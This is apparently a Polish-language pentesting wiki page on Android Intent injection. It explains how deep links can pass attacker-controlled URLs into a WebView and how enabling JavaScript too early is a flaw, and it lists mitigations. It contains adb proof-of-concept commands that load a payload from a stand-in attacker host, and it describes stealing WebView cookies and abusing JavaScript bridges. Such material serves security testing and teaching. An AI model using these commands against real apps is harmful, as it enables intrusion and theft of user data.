Intent Injection

Wstrzykiwanie intencji wykorzystuje komponenty, które akceptują Intencje kontrolowane przez atakującego lub dane, które są później przekształcane w Intencje. Dwa bardzo powszechne wzorce podczas pentestów aplikacji na Androida to:

Przekazywanie stworzonych extras do eksportowanych Activities/Services/BroadcastReceivers, które są później przekazywane do uprzywilejowanych, nieeksportowanych komponentów.
Wywoływanie eksportowanych VIEW/BROWSABLE głębokich linków, które przekazują URL-e kontrolowane przez atakującego do wewnętrznych WebView lub innych wrażliwych miejsc.

Głębokie linki → WebView sink (wstrzykiwanie parametru URL)

Jeśli aplikacja udostępnia głęboki link z niestandardowym schematem, taki jak:

myscheme://com.example.app/web?url=<attacker_url>

i odbierająca Aktywność przekazuje parametr zapytania url do WebView, możesz zmusić aplikację do renderowania dowolnej zdalnej treści w swoim kontekście WebView.

PoC za pomocą adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

HTML/JS wykonuje się w profilu WebView aplikacji.
Jeśli JavaScript jest włączony (domyślnie lub z powodu błędnie uporządkowanych sprawdzeń), możesz enumerować/używać wszelkich ujawnionych obiektów @JavascriptInterface, kraść ciasteczka WebView/lokalne przechowywanie i pivotować.

Zobacz także:

{{#ref}} webview-attacks.md {{#endref}}

Błąd kolejności sprawdzeń umożliwiający JavaScript

Powtarzającym się błędem jest włączenie JavaScript (lub innych liberalnych ustawień WebView) przed zakończeniem ostatecznej listy dozwolonych adresów URL/weryfikacji. Jeśli wczesne pomocnicze funkcje akceptują twój głęboki link, a WebView jest skonfigurowane jako pierwsze, twoje ostateczne załadowanie odbywa się z już włączonym JavaScript, nawet jeśli późniejsze sprawdzenia są wadliwe lub zbyt późne.

Na co zwrócić uwagę w dekompilowanym kodzie:

Wiele pomocniczych funkcji, które różnie analizują/dzielą/odbudowują URL (niespójna normalizacja).
Wywołania getSettings().setJavaScriptEnabled(true) przed ostatnim sprawdzeniem listy dozwolonych hostów/ścieżek.
Pipeline jak: analizuj → częściowa walidacja → konfiguruj WebView → ostateczna weryfikacja → loadUrl.

Mitigacje

Kanonizuj raz i waliduj ściśle; kończ z błędem.
Włączaj JavaScript tylko po przejściu wszystkich sprawdzeń i tuż przed załadowaniem zaufanej zawartości.
Unikaj ujawniania mostów do niezaufanych źródeł.

Inne klasyczne prymitywy wstrzykiwania Intent

startActivity/sendBroadcast używając dostarczonych przez atakującego Intent extras, które są później ponownie analizowane (Intent.parseUri(...)) i wykonywane.
Eksportowane komponenty proxy, które przekazują Intenty do nieeksportowanych wrażliwych komponentów bez sprawdzeń uprawnień.

3.8 KiB Raw Blame History Unescape Escape

Intent Injection

Głębokie linki → WebView sink (wstrzykiwanie parametru URL)

Błąd kolejności sprawdzeń umożliwiający JavaScript

Inne klasyczne prymitywy wstrzykiwania Intent

Referencje

3.8 KiB

Raw Blame History